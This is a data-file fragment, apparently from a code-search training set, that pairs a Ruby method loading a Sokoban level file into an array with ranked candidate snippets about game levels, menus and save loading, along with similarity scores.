"def change_level\n if Group::LEVEL_TITLES.include?(params[:level])\n params[:level] = Group::LEVELS[Group::LEVEL_TITLES.index(params[:level])]\n end\n unless Group::LEVELS.include?(params[:level])\n flash[:notice] = 'invalid level'\n render(:update) do |page|\n update_flash(page, flash[:notice])\n end\n return\n end\n\n act_on_members do |gi|\n if gi.level == 'leader' && gi.group.leaders.count == 1\n @member_notices << \"Couldn't change #{gi.person.full_name}'s level from a leader, since that would result in a leaderless group!\"\n else\n @levels_to_update << gi.level # update old\n gi.level = params[:level]\n @levels_to_update << gi.level # update new\n @member_notices << \"#{gi.person.full_name} is now a #{params[:level]}\"\n end\n end\n end",
"def startlevel_set (level)\n execute(:startlevel, level)\n end",
"def draw_required_level\n return if item.equip_level <= 1\n return if actor && actor.level >= item.equip_level\n color = actor.nil? ? normal_color : power_down_color\n text = sprintf('Richiede il livello %d', item.equip_level)\n draw_feature(text, color)\n end",
"def level=(value)\n @level = value\n end",
"def level=(value)\n @level = value\n end",
"def action\n (@current_level = 'X' ; return) if ( @user_choice == 'X' || @user_choice == 'x')\n\n (menu_level_left ; return) if @user_choice == \"\\e[D\"\n\n tmp_lvl = @current_level + '.' + @user_choice\n cmd = @menu_map[tmp_lvl][1]\n cmd ? execute_action(cmd) : @current_level = tmp_lvl\n end",
"def _level? level\n\t\terror L[:'your level is too low'] if _user[:level].to_i < level.to_i\n\tend",
"def set_level\n @level = Level.find(params[:id])\n @game = @level.game\n end",
"def level=(level)\n # Check up and down limits\n level = [[level, $data_actors[@actor_id].final_level].min, 1].max\n # Change EXP\n self.exp = @exp_list[level]\n end",
"def set_level\n @level =\n if params.include? :key\n Level.find_by_key params[:key]\n else\n Level.find(params[:id])\n end\n @game = @level.game\n end",
"def set_level\n if params[:id].nil?\n @level = Level.find(1) # TODO change to cookie thing maybe\n else\n @level = Level.find(params[:id])\n end\n end",
"def levels_screen_inputs\n index = Options::LEVELS_SCREEN.find_index @settings_hovered\n if button_up? Gosu::KB_S\n if index == 2\n @settings_hovered = Options::LEVELS_SCREEN[0]\n else\n index += 1\n @settings_hovered = Options::LEVELS_SCREEN[index]\n end\n elsif button_up? Gosu::KB_W\n if index == 0\n @settings_hovered = Options::LEVELS_SCREEN[2]\n else\n index -= 1\n @settings_hovered = Options::LEVELS_SCREEN[index]\n end\n elsif button_up? Gosu::KB_SPACE\n if @settings_hovered == \"Easy\"\n @game_settings.cpu_difficulty = 1\n elsif @settings_hovered == \"Medium\"\n @game_settings.cpu_difficulty = 4\n elsif @settings_hovered == \"Hard\"\n @game_settings.cpu_difficulty = 10\n end\n @game_settings.current_screen = \"game\"\n end\n end",
"def menuScreen\n @levelNo=1\n clearScreen\n puts \"You are at the menu for Sokoban\"\n puts \"To quick play: Press 'p'\"\n puts \"To choose a level: Press 'c'\"\n puts \"To stop: Press 'q'\"\n charPressedInMenu\nend",
"def menu_selection \nend",
"def level=( level )\n super(level || 0)\n end",
"def case_menu(selection)\n case selection\n when 'Playlist'\n @playlist.menu\n when 'Account Details'\n account_details\n when 'Exit'\n p \"Is this exiting?\"\n end\n end",
"def check_level_param\n if (!params[:level].blank? && params[:level].to_i.to_s == params[:level] && User.valid_level?(params[:level].to_i))\n @level = params[:level].to_i\n end\n\n return @level\n end",
"def next_level\n if @level.level == MAX_LEVEL\n restart_game\n else\n @level.level += 1\n load_level(\"levels/level\" + @level.level.to_s + \".lvl\")\n end\n end",
"def level; end",
"def level; end",
"def level; end",
"def level; end",
"def level; end",
"def level; end",
"def seleccion\n case @selection\n when 1\n push_game_state(EnterName.new(callback: method(:enter_name)))\n when 2\n if @token_difficulty.zero?\n @difficulty_message.text = \"Dificultad: #{@difficulty[1]}\"\n @token_difficulty = 1\n @select_sound = 0\n elsif @token_difficulty == 1\n @difficulty_message.text = \"Dificultad: #{@difficulty[2]}\"\n @token_difficulty = 2\n @select_sound = 1\n @sound_tracks_list[@select_sound].play if @music_playing\n else\n @difficulty_message.text = \"Dificultad: #{@difficulty[0]}\"\n @token_difficulty = 0\n @select_sound = 0\n @sound_tracks_list[@select_sound].play if @music_playing\n end\n when 3\n if @music_playing\n @music_message.text = 'Musica: OFF'\n @music_playing = false\n @sound_tracks_list[@select_sound].pause\n else\n @music_message.text = 'Musica: ON'\n @music_playing = true\n @sound_tracks_list[@select_sound].play\n end\n when 4\n push_game_state(Acerca)\n when 5\n exit\n end\n\n end",
"def check_level(level)\n\tif level == nil || level.to_i < 2\n\t\treturn \"Enter the number for your difficulty level (Minimum 2)\"\n\tend\n\treturn \"Difficulty level is #{level}\"\nend",
"def set_game_level\n @game_level = GameLevel.find(params[:id])\n end",
"def index\n @level = Level.find(params[:level_id])\n \n \n end",
"def level=(new_lvl)\n @level = new_lvl\n $game_party.quests.add_to_sort_array(:level, @id) if $game_party && \n $game_party.quests\n end",
"def update_submenu_selection\n if Input.trigger?(Input::B)\n Sound.play_cancel\n @submenu_window.active = false\n @command_window.active = true\n $menu_index = nil\n @submenu_window.openness = 0\n elsif Input.trigger?(Input::C)\n cwi = @sw_list[@submenu_window.index]\n if $game_party.members.size == 0 && !CP::MENU_COMMANDS.COMMANDS[cwi].include?(:no1)\n Sound.play_buzzer\n return\n elsif $game_system.save_disabled && CP::MENU_COMMANDS.COMMANDS[cwi].include?(:save)\n Sound.play_buzzer\n return\n end\n Sound.play_decision\n if CP::MENU_COMMANDS.COMMANDS[cwi][2]\n start_actor_selection\n else\n $scene = CP::MENU_COMMANDS.COMMANDS[cwi][1]\n end\n end\n end",
"def pick_difficulty\n user_diff = $prompt.select(\"Pick a difficulty level\", [\"Easy\", \"Medium\", \"Hard\"])\n case user_diff\n when \"Easy\"\n $hide_speed = 3 \n $time_limit = 7\n when \"Medium\"\n $hide_speed = 2\n $time_limit = 6\n when \"Hard\"\n $hide_speed = 1.5\n $time_limit = 5\n end \n pre_game\nend",
"def input_dosing_levels(levels)\n my_levels = levels.split(',')\n for i in 0..my_levels.size()-1\n add_level.click if i > 1\n dosing_factor_levels[i].set my_levels[i]\n end\n end",
"def update\n if @current_level <= @@Level_Number\n if Time.now - @level_beg_t > @@Levels_duration[@current_level]\n set_level(@current_level+1)\n else\n method(@update_method).call \n end\n end\n @current_level > @@Level_Number\n end",
"def main_menu\n menu_options = [\"Start exploring\", \"Check Inventory\", \"Check Your Score\", \"Go to Pokemon Center\", \"Quit\"]\n menu_prompt = Interactivity.mainMenu \n \n if user.pokemon == nil\n menu_options.shift()\n menu_options.unshift(\"Choose a Pokemon and start exploring\")\n elsif self.user_current_location\n menu_options.shift()\n menu_options.unshift(\"Keep Exploring\")\n end\n \n choice = prompt.select(menu_prompt, menu_options) \n if choice == \"Start exploring\" || choice == \"Choose a Pokemon and start exploring\" || choice == \"Keep Exploring\"\n self.trainer_chooses_pokemon if user.pokemon == nil \n self.trainer_chooses_town\n self.exploring_town\n elsif choice == \"Check Inventory\"\n puts \"MANAGE INVENTORY - CHANGE POKEMONS AROUND\"\n elsif choice == \"Go to Pokemon Center\"\n self.pokemon_center\n elsif choice == \"Check Your Score\"\n puts \"CHECK YOUR SCORE\"\n else\n Interactivity.quit\n end\n end",
"def level= level\n if (0..6).include? level then @level = level\n elsif LEVEL.include? level.to_s then @level = LEVEL.index level\n else @level = UNKNOWN\n end\n end",
"def edit\n \t@level = Level.find(params[:id])\n @levels = Level.all\n end",
"def is_your_level?\n if current_login.level_id >= params[:level_id].to_i\n return true\n else\n redirect_to root_path, alert: 'No tienes permisos para acceder a esta página'\n end\n end",
"def manage_account_menu\n choice = @prompt.select(\"Please choose from the following options:\") do |menu|\n menu.choice 'Change my name'\n menu.choice 'Change my password'\n menu.choice 'Delete my account'.blue\n menu.choice \"Back to Main Menu\"\n end\n\n if choice == \"Change my name\"\n change_name\n elsif choice == \"Change my password\"\n change_password\n elsif choice == \"Delete my account\".blue\n delete_account\n elsif choice == \"Back to Main Menu\"\n start_menu\n end\nend",
"def set_user_level\n @user_level = UserLevel.find(params[:id])\n end",
"def initialize(level)\n case rand(1..3) #chooses a random number 1,2 or 3\n when 1 \n brute(level)\n when 2\n mage(level)\n when 3 \n monk(level)\n end\n \n end",
"def run\n welcome\n main_menu_selection #choose to create a character or login to pre-existing character\n player_options #a list of options the selected player from 'selection_menu' can accomplish\nend",
"def start_menu\n puts \"\"\n choice = @prompt.select(\"Welcome! Please choose from the following options:\") do |menu|\n menu.choice 'Play'\n menu.choice 'Account Management'\n menu.choice 'Check Scoreboard'\n menu.choice \"Exit\"\n end\n\n if choice == \"Play\"\n if @user\n play\n else\n login\n play\n end\n elsif choice == \"Account Management\"\n manage_account\n elsif choice == \"Check Scoreboard\"\n scoreboard\n elsif choice == \"Exit\"\n system 'killall afplay'\n goodbye\n end\nend",
"def edit\n @level = Level.find(params[:id])\n end",
"def main_menu\n\tputs \"\\n1 Library\\n2 Staff Members\\n3 Books\\n4 Patrons\\n0 Exit\\n\"\n\tselect = make_selection\n\n\twhile select != \"1\" && select != \"2\" && select != \"3\" && select != \"4\" && select != \"0\"\n\t\tputs \"\\nInvalid choice selected\\n\"\t\t \t\t\n\t\tselect = make_selection\n\tend\n\n\tif select == \"1\"\n\t\tlibrary_choice = \"9\"\n\t\twhile library_choice != \"0\"\n\t\t\tlibrary_choice = select_choice_library\n\t\tend\n\n \telsif select == \"2\"\n\t\tstaff_member_choice = \"9\"\n\t\twhile staff_member_choice != \"0\"\n\t\t\tstaff_member_choice = select_choice_staff_member\n\t\tend\n\n\n\telsif select == \"3\"\n\t\tbook_choice = \"9\"\n\t\twhile book_choice != \"0\"\n\t\t\tbook_choice = select_choice_book\n\t\tend\n\n\n\telsif select == \"4\"\n\t\tpatron_choice = \"9\"\n\t\twhile patron_choice != \"0\"\n\t\t\tpatron_choice = select_choice_patron\n\t\tend\n\n\n\telsif select == \"0\"\n\t\tputs \"\\nGoodbye\"\t\t \t\t\n\tend\n\tselect \nend",
"def main_menu\n @ui.input_1_change\n @ui.user_input1.downcase\n unless %w[trains routes stations cars].include? @ui.user_input1\n puts 'There is no such option in the main menu.'\n end\n main_menu_choose_option(@ui.user_input1)\n end",
"def enter_level(new_level = T.unsafe(nil)); end",
"def button_down(id)\n if id == Gosu::KbEscape || id == Gosu::KbQ\n save\n close\n elsif id == Gosu::KbA\n @current_type = :terrain\n elsif id == Gosu::KbS\n @current_type = :enemies\n elsif id == Gosu::KbD\n @current_type = :candies\n elsif id == Gosu::KbLeft || id == Gosu::GpLeft\n @x_offset -= 1 if @x_offset > 0\n elsif id == Gosu::KbUp || id == Gosu::GpUp\n @y_offset -= 1 if @y_offset > 0\n elsif id == Gosu::KbRight || id == Gosu::GpRight\n @x_offset += 1 if @x_offset < LEVEL_WIDTH - 10\n elsif id == Gosu::KbDown || id == Gosu::GpDown\n @y_offset += 1 if @y_offset < LEVEL_HEIGHT - 10\n elsif id == Gosu::Kb1\n if @current_type == :terrain\n @current_selection = :background\n elsif @current_type == :enemies\n @current_selection = :slug\n elsif @current_type == :candies\n @current_selection = :soda\n end\n elsif id == Gosu::Kb2\n if @current_type == :terrain\n @current_selection = :platform\n elsif @current_type == :enemies\n @current_selection = :spikes\n elsif @current_type == :candies\n @current_selection = :gum\n end\n elsif id == Gosu::Kb3\n if @current_type == :terrain\n @current_selection = :player\n elsif @current_type == :enemies\n @current_selection = :mushroom\n elsif @current_type == :candies\n @current_selection = :chocolate\n end\n elsif id == Gosu::Kb4\n if @current_type == :terrain\n @current_selection = :door\n end\n elsif id == Gosu::Kb5\n if @current_type == :terrain\n @current_selection = :background2\n end\n elsif id == Gosu::MsLeft\n if @current_selection == :slug\n x = (mouse_x / SCALE).to_i\n x -= x % 32\n x += 32 * @x_offset\n y = (mouse_y / SCALE).to_i\n y -= y % 25\n y -= 12\n y += 25 * @y_offset\n @enemies.push(Slug.new(self, x, y))\n elsif @current_selection == :spikes\n x = (mouse_x / SCALE).to_i\n x -= x % 32\n x += 3\n y = (mouse_y / SCALE).to_i\n y -= y % 25\n y -= 12\n x += 32 * @x_offset\n y += 25 * @y_offset\n @enemies.push(Spikes.new(self, x, y))\n elsif @current_selection == :mushroom\n x = (mouse_x / SCALE).to_i\n x -= x % 32\n y = (mouse_y / SCALE).to_i\n y -= y % 25\n y += 6\n x += 32 * @x_offset\n y += 25 * @y_offset\n @enemies.push(Mushroom.new(self, x, y))\n elsif @current_selection == :player\n x = (mouse_x / SCALE).to_i\n x -= x % 32\n y = (mouse_y / SCALE).to_i\n y -= y % 25\n x += 32 * @x_offset\n y += 25 * @y_offset\n x += 2\n @player = [x, y]\n elsif @current_selection == :door\n x = (mouse_x / SCALE).to_i\n x -= x % 32\n y = (mouse_y / SCALE).to_i\n y -= y % 25\n x += 32 * @x_offset\n y += 25 * @y_offset\n y += 2 \n @door = [x, y]\n elsif @current_type == :candies\n x = (mouse_x / SCALE).to_i\n y = (mouse_y / SCALE).to_i\n x += 32 * @x_offset\n y += 25 * @y_offset\n @candies.push(Object.const_get(@current_selection.to_s.capitalize).new(self, x, y))\n end\n end\n end",
"def set_dungeon_level\n @dungeon_level = DungeonLevel.find_by(id: params[:id])\n end",
"def sub_menu(choise)\n case choise\n when '1'\n make_route\n when '2'\n make_station\n when '3'\n make_train\n when '4'\n list_routes\n when '5'\n list_stations\n when '6'\n list_trains\n when '7'\n list_station_trains\n when '8'\n attach_station\n when '9'\n dettach_station\n when '10'\n attach_train\n when '11'\n attach_wagon\n when '12'\n dettach_wagon\n when '13'\n list_train_wagons\n when '14'\n occupy_train_wagon\n when '15'\n move_train\n else\n puts \"Введено некорректное значение меню\\n\\n\"\n end\n end",
"def level\n @level\n end",
"def level_display\n nil\n end",
"def set_levels\n @course = Course.find(params[:course_id])\n end",
"def selection(choice)\n case choice\n when 1\n view_entries\n when 2\n manual_add_entry\n when 3\n puts 'Awaiting Build...'\n hold_screen\n # search_menu\n when 4\n puts 'Awaiting Build...'\n hold_screen\n # file_selection\n end\n end",
"def level=(new_level)\n super new_level.to_s\n end",
"def level_params\n \t\tparams.require(:level).permit(:level_name)\n \tend",
"def set_level\n if user_signed_in?\n if Profile.exists?(user_id: current_user)\n if current_user.profile.level.nil? == false\n return level = current_user.profile.level\n end\n end\n else\n return level = \"Beginner\"\n end\nend",
"def run(name)\n\t\tprint %x{clear}\n\t\tputs \"Hi #{name}! Welcome to my Text Adventure App! There are currently 2 levels to\\nchoose from, Medium or Hard. The Medium option features a nice\\nhouse to walk through with easy questions. The Hard option features\\nan old castle dungeon setting with hard IQ questions.\"\n\t\tprint \"Which level would you like to choose? \"\n\t\tchoice = Input.new.begin_input\n\t\tlevel = @choices[choice]\n\t\tlevel.generate(name)\n\t\tnew_game(name)\n\tend",
"def level_up_window_call(list0, list1, z_level)\n window = UI::LevelUpWindow.new(nil, self, list0, list1)\n window.z = z_level\n Graphics.sort_z\n until Input.trigger?(:A)\n window.update\n Graphics.update\n end\n $game_system.se_play($data_system.decision_se)\n window.dispose\n end",
"def right_key\n @choice = @choice < @max_level ? @choice + 1 : @max_level\n @choice_sound.play(1, 0.5, false)\n end",
"def difficulty_menu\n medium_rainbow_typer 'Select your desired difficulty'\n br\n TTY::Prompt.new.select('?') do |menu|\n menu.choice 'Easy', :d1\n menu.choice 'Medium', :d2\n menu.choice 'Hard', :d3\n menu.choice 'Insane', :d4\n end\n end",
"def set_level(level) # Sets both level and exp\n kendrick_actor_skill_progression_data_progress_set_level(level)\n @exp = exp_for_level\n end",
"def update_level\n new_level_progress = 100 - ((self['level'] * 100) - self['xp'])\n self.update(:level_progress => new_level_progress)\n if self['level_progress'] > 99\n new_level = self['level'] + 1\n self.update(:level => new_level)\n self.update_level\n end\n end",
"def change_level(kod,iw)\n case kod\n when 'y' # povysit level\n $words[iw].addlevel(1)\n when 'r' # reset level=0\n $words[iw].setlevel(0)\n when 'x' # level +3\n $words[iw].addlevel(3)\n end\nend",
"def menu_choice(action)\n if action == \"a\"\n @humanplayer.search_weapon\n elsif action == \"s\"\n @humanplayer.search_health_pack\n elsif action == \"1\"\n @humanplayer.attack(@player_1)\n elsif action == \"2\"\n @humanplayer.attack(@player_2)\n elsif action == \"3\"\n @humanplayer.attack(@player_3)\n elsif action == \"4\"\n @humanplayer.attack(@player_4)\n else puts \"Please select option a, s, 1, 2, 3 or 4\"\n end\n\n kill_player\n end",
"def level\n @level\n end",
"def level\n @level\n end",
"def execute\n @last_level = @light.level\n @light.on\n end",
"def draw_level\n case QuestData::LEVEL_ICON\n when Array then QuestData::LEVEL_ICON.empty? ? draw_level_text : draw_level_array\n when 0 then draw_level_text\n else\n draw_level_stacked\n end\n end",
"def level_up\r\r\n return unless can_level\r\r\n return if @level == @max_level\r\r\n @level += 1\r\r\n if @special == nil then\r\r\n @special = 0\r\r\n end\r\r\n level_update\r\r\n end",
"def select_for_level(level, iter, mc, model)\n raise\n end",
"def init_menu\n @menus.set_selected(\"teambox\")\n @menus.set_selected(\"licenses\")\n end",
"def menu\n selection = gets.chomp.to_i\n case selection\n when 1\n all_tickets = Tickets.new(@zendesk_tickets)\n all_tickets.view_all\n when 2\n single_ticket = Ticket.new(@zendesk_tickets)\n single_ticket.view_all\n when 3\n system 'clear'\n puts \"Goodbye!\"\n exit\n else\n system 'clear'\n puts \"Invalid choice, select between 1, 2 or 3\"\n welcome_message \n menu\n end\n end",
"def select_appropriate_alert_level(level)\n if level == 0\n ok\n elsif level == 1\n warning\n elsif level == 2\n critical\n else\n unknown\n end\n end",
"def menu_choice\n user_input = gets.chomp\n strategic_choice = gets.chomp #choix strategique fait en fonction de la fonction\n if strategic_choice == \"a\"\n @human_player.search_weapon\n elsif strategic_choice == \"s\"\n @human_player.search_health_pack\n elsif strategic_choice == (0..100)\n counter_of_mechant = 0\n @enemies.each do |mechant|\n if counter_of_mechant == strategic_choice\n @human_player.attacks(mechant)\n end#end of if\n end#end of do\n end#end of if\n end",
"def initGameModesMenu\n\t\tmenuUi = MenuUI.new([:timetrial,:ranked, :back], @assets)\n\n\t\tmenuUi.setOnClickEvent(:timetrial){\n\t\t\tdisplay(TimeTrialMode.new(self))\n\t\t\tchangeBackground(\"ecranDeJeu\")\n\t\t}\n\n\t\tmenuUi.setOnClickEvent(:ranked){\n\t\t\tdisplay(@levelsMenu)\n\t\t}\n\n\t\tmenuUi.setOnClickEvent(:back){\n\t\t\tdisplay(@mainMenu)\n\t\t}\n\t\t@gameModesMenu = menuUi\n\tend",
"def user_menu\n puts \"1-input data from file\"\n puts \"2-edit data\"\n puts \"3-form groups\"\n puts \"4-list groups\"\n puts \"5-write groups to file\"\n puts \"6-view course information\"\n puts \"0-exit the program\" \n user_selection = gets.chomp\n # case statement calls respective methods based on user's selection.\n # gives error if file is not loaded and returns to menu\n case user_selection\n when \"0\"\n abort\n when \"1\"\n input_data\n when \"2\"\n if @file_loaded\n edit_data\n else\n puts @dash+\"error-file-not-loaded\"+@dash\n user_menu\n end \n when \"3\"\n if @file_loaded\n form_groups\n else\n puts @dash+\"error-file-not-loaded\"+@dash\n user_menu\n end \n when \"4\"\n if @file_loaded\n list_groups\n else\n puts @dash+\"error-file-not-loaded\"+@dash\n user_menu\n end \n when \"5\"\n if @file_loaded\n write_groups\n else\n puts @dash+\"error-file-not-loaded\"+@dash\n user_menu\n end \n when \"6\"\n if @file_loaded\n list_course_info\n else\n puts @dash+\"error-file-not-loaded\"+@dash\n user_menu\n end \n else\n puts @dash+\"error-invalid-selection\"+@dash\n user_menu\n end\n end",
"def selection_menu\n h = {\n a: :select_all,\n u: :unselect_all,\n s: :toggle_select,\n '*' => 'toggle_multiple_selection',\n 'x' => 'toggle_visual_mode',\n 'm' => 'toggle_selection_mode',\n v: :view_selected_files\n }\n menu 'Selection Menu', h\nend",
"def current_level\n @cur_level\n end",
"def user_level_params\n params.require(:user_level).permit(:level)\n end",
"def update!(**args)\n @level = args[:level] if args.key?(:level)\n end",
"def update!(**args)\n @level = args[:level] if args.key?(:level)\n end",
"def main_menu_choose_option(user_input)\n case user_input\n when 'trains'\n manage_trains\n when 'routes'\n manage_routes\n when 'stations'\n manage_stations\n when 'cars'\n manage_cars\n else\n @ui.wrong_input_msg\n end\n end",
"def update\n \t@level = Level.find(params[:id])\n \tif @level.update_attributes(level_params)\n \t\tredirect_to new_level_path\n \telse\n \t\trender 'edit'\n \tend\n end",
"def level=(lvl)\n return if lvl == @level\n\n lvl = lvl.clamp(1, $pokemon_party.level_max_limit)\n @exp = exp_list[lvl]\n @exp_rate = 0\n @level = lvl\n end",
"def set_agentlevel\n @agentlevel = Agentlevel.find(params[:id])\n end",
"def new_level\n @level = Level.new(Settings.leveldata[Game.next_level])\n @message = @level.message.downcase.split(\"\")\n @target, @completed = @message, \"\"\n Tail.clear\n @head = Tail.new(@player.x, @player.y, :none, Image.new(Settings.spacer)) \n Grid.populate\n @player.x, @player.y = 0, 0\n @active_tile = Grid.tile_at(0, 0)\n @mailbox = \"\"\n @enemy_timer = Time.new\n end",
"def alter_user_level(user_level)\n \tself.user_level = user_level\n \tself.save\n end",
"def level=(new_level)\n @level = LEVELS[new_level.to_sym]\n reset_methods(:close)\n end",
"def load_dungeon_file(level)\n clear_message_box\n #ask for file if necessary\n @ui.set_colour(DungeonOfDoom::C_BLACK_ON_YELLOW)\n unless @dungeon_file\n @ui.place_text('USE DUNGEON FILE?'.ljust(20),1,2)\n @ui.place_text('>'.ljust(20),1,3)\n #loop until file is good\n while @dungeon_file.nil?\n @ui.place_text(' '*19,2,3)\n @dungeon_file = @ui.get_string(2,3)\n #check to see if file exists\n unless File.exists?(@dungeon_file) #file must exist\n @ui.place_text('!FILE NOT FOUND'.ljust(20), 1, 4)\n @dungeon_file=nil\n end\n end\n end\n #check if here has enough experience to enter level\n if LEVEL_EXPERIENCE_CHECK && level > @stats[:experience]\n @ui.place_text(MSG_EXP.ljust(20),1,4)\n else\n #all okay, load level and start location\n levels = IO.readlines(@dungeon_file)\n new_level = levels.find do |data|\n #level data should be at position (15x15)+4=229\n data[229..230].to_i == level\n end\n if new_level\n #okay level found\n data = new_level.chars.to_a #make and array of characters\n (0..14).each do |row|\n (0..14).each do |col|\n @room[row][col] = data[(15*row)+col]\n end\n end\n @ui.draw_box(15,15,2,6,DungeonOfDoom::C_WHITE_ON_BLACK)\n @cur_x = (data[225]+data[226]).to_i\n @cur_y = (data[227]+data[228]).to_i\n @current_level = level\n @monster_detected = false\n else\n @ui.place_text(\"!LEVEL #{level} NOT FOUND\".ljust(20),1,4)\n @ui.place_text('!BAD DUNGEON FILE'.ljust(20),1,5)\n end\n end\n end",
"def setMenu\n\t\t@phase = \"menu\"\n\t\t@dialogueText.setText([\"What will you do?\"])\n\t\t@menuStack.push(@battleOptions)\n\t\t@enemyUnits = @battleManager.enemyUnits\n\t\t@hero.nextCommand = []\n\tend",
"def enter_level(new_level = level)\n old_level = level\n self.level = new_level\n yield\n ensure\n self.level = old_level\n end"
] | [
"0.6719394",
"0.6719394",
"0.6717201",
"0.6695112",
"0.6690989",
"0.66903657",
"0.6636764",
"0.649158",
"0.6483316",
"0.64689684",
"0.6352674",
"0.63503146",
"0.63448644",
"0.63448644",
"0.63321406",
"0.6331029",
"0.6325102",
"0.6307368",
"0.6304731",
"0.6297926",
"0.6294848",
"0.628016",
"0.6265239",
"0.61766934",
"0.61722803",
"0.6167316",
"0.61398727",
"0.6103529",
"0.6103529",
"0.6103529",
"0.6103529",
"0.6103529",
"0.6103529",
"0.6103258",
"0.60871094",
"0.6081356",
"0.6068074",
"0.6052136",
"0.6041918",
"0.60193175",
"0.6016031",
"0.6007825",
"0.6007215",
"0.5983685",
"0.5963599",
"0.5949448",
"0.59481716",
"0.59423745",
"0.5933663",
"0.5931641",
"0.5926592",
"0.59237266",
"0.59015507",
"0.5887161",
"0.58767694",
"0.5869823",
"0.5862747",
"0.585938",
"0.5849362",
"0.58373404",
"0.5835802",
"0.5834948",
"0.5830687",
"0.58259755",
"0.5805597",
"0.5796326",
"0.57942605",
"0.5788157",
"0.57866496",
"0.577615",
"0.5776109",
"0.5769835",
"0.5759289",
"0.5753851",
"0.5753851",
"0.5744458",
"0.5727724",
"0.57252526",
"0.57245564",
"0.57233024",
"0.57195354",
"0.57183886",
"0.5711503",
"0.5709957",
"0.5709001",
"0.57082415",
"0.5695782",
"0.5689008",
"0.56874526",
"0.56874526",
"0.56806564",
"0.5677778",
"0.5675201",
"0.5660495",
"0.5655737",
"0.5652836",
"0.56509894",
"0.565026",
"0.56458205",
"0.56416124"
] | 0.6919729 | 0 |
this is a method to load the game of choice onto the array | def loadArray
clearScreen
@boxGoalCoord=[]
@levelArr=[]
lineCount=0
#open the file and make each line an element in the 2d array @levelArr
File.readlines("./levels/level#{@levelNo}.xsb").each do |line|
#initialize the subarray 'charArr'
charArr=[]
xCount=1
line.each_char do |char|
#push new element to the array subarray 'charArr'
if char=='.'
@boxGoalCoord.push("#{xCount},#{lineCount}")
end
charArr.push(char)
xCount+=1
end
#add the sub array 'charArr' to the whole file array 'fileArr'
@levelArr.push(charArr)
lineCount+=1
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def load_supported_games\r\n @supported_game_map = InfoAvailableGames.info_supported_games(@log)\r\n #p @supported_game_map\r\n SETTINGS_DEFAULT_APPGUI[:games_opt] = {}\r\n @supported_game_map.each do |k, game_item|\r\n if game_item[:enabled] == true\r\n require game_item[:file_req]\r\n @log.debug(\"Game #{game_item[:name]} is enabled\")\r\n SETTINGS_DEFAULT_APPGUI[:games_opt][k] = game_item[:opt]\r\n end\r\n end\r\n end",
"def load_game\nputs \"Please choose one of the below saved profiles:\"\nsystem (\"ls *.ca\")\nprint \":\"\n$name = gets.chomp\n$file_name = $name + \".ca\"\nwhile(!system(\"test -e '#{$file_name}'\")) do\nputs \"Such profile does not exits, please choose a valid one.\"\nsystem (\"ls *.ca\")\nprint \":\"\n$name = gets.chomp\n$file_name = $name + \".ca\"\nend\ninfo = IO.readlines(\"#{$file_name}\") # info is a array and each index value is the info of a line info[3] = info that is on line number three.\n# now info is acctualy being loaded intro the system variables\n$name = info[0]\n$lvl = info[1]\n$gold = info[2]\nfor i in 3..((info.length)-1) do\n$inventory[$inventory.length] = info[i] # with $inventory.length start from 0 becuse it's initial null it will automaticaly grow\nend\nputs \"Loading please wait...\"\nsleep(2)\nprint \"............\"\nsleep(1)\nputs \"............\"\nputs $name\nputs $gold\nputs $lvl\nputs $inventory\n####call the level method\nend",
"def load \n \tputs \"Type 'load' to load an existing game, or press Enter to continue.\"\n \tanswer = gets.chomp.downcase\n \tif answer == 'load'\n data = YAML.load_file('store.yml')\n @turns = data.turns\n @lives = data.lives\n @wrong = data.wrong\n @right = data.right\n @word= data.word\n puts \"Loading...\"\n sleep(2)\n end\n\n end",
"def loadGame()\n\nend",
"def load_game\n\t\tload_gameplay = YAML.load(File.read 'saved_game.yaml')\n\t\t@board = load_gameplay[0]\n\t\t@current_player = load_gameplay[1]\n\t\tshow_board\n\t\tinput_validation\n\tend",
"def load_game_from_save\n #TODO implement game state saving and loading\n end",
"def load_game\n file = File.open(\"../saves/log.yml\", \"r\")\n s_log = file.read.to_i\n file.close\n if s_log == 0\n puts \"No save data.\"\n else\n puts \"Select a save file (1 to #{s_log}).\"\n s_choice = gets.chomp.to_i\n if s_choice <= s_log\n puts \"Loading save game # #{s_choice}...\"\n game_state = YAML.load(File.read(\"../saves/save_#{s_choice}.yml\"))\n game_state.play\n else\n puts \"Selected save file does not exist.\"\n end\n end\n end",
"def load_game\n\tsettings.game_data = Ben::Game.load\n\tgame_json\nend",
"def load_card #(draw card?)\n @cards_array.shuffle!.shift\n end",
"def load_game\n $pokemon_party = @all_window[@index].data\n $pokemon_party.expand_global_var\n $pokemon_party.load_parameters\n $game_system.se_play($data_system.cursor_se)\n $game_map.setup($game_map.map_id)\n $game_player.moveto($game_player.x, $game_player.y) # center\n $game_party.refresh\n $game_system.bgm_play($game_system.playing_bgm)\n $game_system.bgs_play($game_system.playing_bgs)\n $game_map.update\n $game_temp.message_window_showing = false\n $trainer.load_time\n Pathfinding.load\n end",
"def load_game(chosen_word,word_guess,dead_man)\n @chosen_word = chosen_word\n @word_guess = word_guess\n @dead_man = dead_man\n\n @word_guess.display(@dead_man)\n round\n end",
"def choose\n \n case @last_opponent_choice\n when :paper\n [:rock, :scissors][rand(2)]\n when :rock\n [:paper, :scissors][rand(2)]\n when :scissors\n [:rock, :scissors][rand(2)]\n end\n \n #:paper\n \n \n end",
"def load_supported_games\n @supported_game_map = InfoAvilGames.info_supported_games(@log)\n #@supported_game_map.each{|k,v| p k}\n #p @supported_game_map\n # execute require 'mygame'\n @all_games_bots.each do |botgame|\n infogame = @supported_game_map[botgame[:key]]\n if infogame != nil and infogame[:enabled] == true\n botgame[:name] = infogame[:name]\n botgame[:opt] = infogame[:opt]\n else\n @log.warn(\"Game bot key #{botgame[:key]} not enabled in game_info\")\n end\n end\n #p @all_games_bots\n end",
"def load_game\n begin\n display_saves\n choice = gets.chomp\n raise StandardError, 'Please choose an option from the above list.' unless choice.to_i.between?(0,\n Dir.children('./saves').size - 1)\n rescue StandardError => e\n puts e.message\n retry\n end\n\n \"./saves/#{Dir.children('./saves')[choice.to_i]}\"\nend",
